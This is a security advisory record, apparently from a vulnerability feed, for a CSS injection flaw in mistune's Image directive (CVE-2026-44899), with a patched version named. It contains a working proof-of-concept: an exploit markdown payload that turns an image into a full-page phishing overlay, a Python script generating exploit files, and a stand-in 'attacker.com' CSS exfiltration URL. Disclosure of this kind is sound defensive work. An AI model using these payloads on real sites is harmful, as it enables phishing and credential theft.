{"id":"CVE-2026-44899","aliases":["GHSA-ccfx-mfmx-2fx9","PYSEC-2026-2209"],"title":"Mistune Image Directive CSS Injection Vulnerability","summary":"Mistune Image Directive CSS Injection Vulnerability","severity":"medium","cvss":4.7,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","vendor":"mistune","product":"mistune","ecosystem":"pip","affected":["mistune >= 3.2.0, < 3.2.1"],"patched":["mistune 3.2.1"],"published":"2026-05-14","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-ccfx-mfmx-2fx9","references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44899"},{"url":"https://github.com/lepture/mistune"},{"url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}],"tags":["osv","pip"],"epss":0.00228,"epssPercentile":0.13838,"ingestedAt":"2026-07-13T18:57:56.384Z","slug":"CVE-2026-44899","body":"## Overview\n\n## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same — prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += ' width=\"' + width + '\"'   # safe: integer → HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n<div class=\"block-image\"><img src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /></div>\n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n<div class=\"block-image\"><img src=\"x.jpg\" alt=\"⚠ CSS INJECTED — click to dismiss ⚠\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /></div>\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `<img>` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:<value>;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  → overlay sits above the entire page\n#   top/left/width/height → covers 100 % of the viewport\n#   background-color:#e11d48 → vivid crimson fill\n#   outline:8px solid #facc15 → bright yellow border\n#   color:#fff → white alt-text label\n#   z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f'<div class=\"sandbox\">{out}</div>'\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{header} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ live render (sandboxed to preview box)</div>\n      <div class=\"rendered\">{sandbox}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body>\n<h1>H6 — Image Directive CSS Injection</h1>\n<p class=\"desc\">\n  <code>_parse_attrs()</code> in <code>directives/image.py</code> validates\n  <code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>\n  (prefix-only — no <code>$</code> anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a <code>style=</code> attribute.\n  A single <code>:width:</code> option is sufficient to smuggle an arbitrary\n  CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.\n</p>\n<div class=\"warn\">\n  ⚠ The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the <em>entire browser window</em>.\n</div>\n{case(\"baseline\",\n      \"Integer dims → clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.\n\n## Affected packages\n\n- `mistune >= 3.2.0, < 3.2.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mistune 3.2.1`","depth":"sunlit","depthScore":26,"depthScoreParts":{"impact":25.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}